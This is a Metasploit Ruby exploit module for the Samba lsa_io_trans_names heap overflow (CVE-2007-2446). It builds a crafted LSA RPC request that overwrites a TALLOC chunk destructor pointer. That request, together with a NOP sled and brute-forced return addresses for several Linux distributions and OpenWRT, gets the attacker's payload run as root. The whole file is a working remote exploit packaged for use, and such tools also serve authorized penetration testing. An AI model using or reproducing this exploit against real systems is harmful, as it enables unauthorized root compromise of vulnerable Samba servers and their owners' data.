modules/exploits/linux/samba/lsa_transnames_heap.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
'Description' => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the TALLOC chunk overwrite
method (credit Ramon and Adriano), which only works with Samba
versions 3.0.21-3.0.24. Additionally, this module will not work
when the Samba "log level" parameter is higher than "2".
},
'Author' =>
[
'Ramon de C Valle',
'Adriano Lima <adriano[at]risesecurity.org>',
'hdm'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024, # no limit really
},
'Platform' => 'linux',
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
},
'Targets' =>
[
['Linux vsyscall',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xffffe410 },
'Stop' => { 'Ret' => 0xffffe413 },
'Step' => 1,
}
}
],
##
# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian) # KF
# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo) # hdm
# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE) # Adriano/Ramon
# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware) # Adriano/Ramon
# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu) # hdm
# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP) # Andrew
#
##
['Linux Heap Brute Force (Debian/Ubuntu)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x08352000 },
'Stop' => { 'Ret' => 0x0843d000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Gentoo)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80310000 },
'Stop' => { 'Ret' => 0x8042f000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Mandriva)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80380000 },
'Stop' => { 'Ret' => 0x8045b000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (RHEL/CentOS)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb800f000 },
'Stop' => { 'Ret' => 0xb80c9000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (SUSE)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80365000 },
'Stop' => { 'Ret' => 0x80424000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Slackware)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x8033c000 },
'Stop' => { 'Ret' => 0x80412000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (OpenWRT MIPS)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_MIPSBE ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x55900000 },
'Stop' => { 'Ret' => 0x559c0000 },
'Step' => 60*1024,
}
}
],
['DEBUG',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xAABBCCDD },
'Stop' => { 'Ret' => 0xAABBCCDD },
'Step' => 4,
}
}
],
],
'DisclosureDate' => '2007-05-14',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
])
deregister_options('SMB::ProtocolVersion')
end
def check
begin
connect(versions: [1])
smb_login()
disconnect()
if (smb_peer_lm() =~ /Samba/i)
return CheckCode::Detected
else
return CheckCode::Safe
end
rescue ::Exception
return CheckCode::Safe
end
end
def brute_exploit(target_addrs)
if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end
# @nops = "\xcc" * (@nops.length)
end
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
nops = @nops
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect(versions: [1])
smb_login()
if ! @checked_peerlm
if smb_peer_lm !~ /Samba 3\.0\.2[1234]/i
fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
end
end
@checked_peerlm = true
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
jumper = "P" * 256
jumper[24, 5] = "\xe9" + [-5229-11-5-(nops.length/2)].pack('V')
num_entries = 256
num_entries2 = 272
# first talloc_chunk
# 16 bits align
# 16 bits sid_name_use
# 16 bits uni_str_len
# 16 bits uni_max_len
# 32 bits buffer
# 32 bits domain_idx
buf = (('A' * 16) * num_entries)
# padding
buf << 'A' * 8
# TALLOC_MAGIC
talloc_magic = "\x70\xec\x14\xe8"
# second talloc_chunk header
buf << NDR.long(0) + NDR.long(0) # next, prev
buf << NDR.long(0) + NDR.long(0) # parent, child
buf << NDR.long(0) # refs
buf << [target_addrs['Ret']].pack('V') # destructor
buf << 'A' * 4 # name
buf << 'A' * 4 # size
buf << talloc_magic # flags
buf << jumper
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
print_status("Calling the vulnerable function...")
begin
# LsarLookupSids
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_status('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e}")
end
end
handler
disconnect
end
def lsa_open_policy(dcerpc, server="\\")
stubdata =
# Server
NDR.uwstring(server) +
# Object Attributes
NDR.long(24) + # SIZE
NDR.long(0) + # LSPTR
NDR.long(0) + # NAME
NDR.long(0) + # ATTRS
NDR.long(0) + # SEC DES
# LSA QOS PTR
NDR.long(1) + # Referent
NDR.long(12) + # Length
NDR.long(2) + # Impersonation
NDR.long(1) + # Context Tracking
NDR.long(0) + # Effective Only
# Access Mask
NDR.long(0x02000000)
res = dcerpc.call(6, stubdata)
dcerpc.last_response.stub_data[0,20]
end
end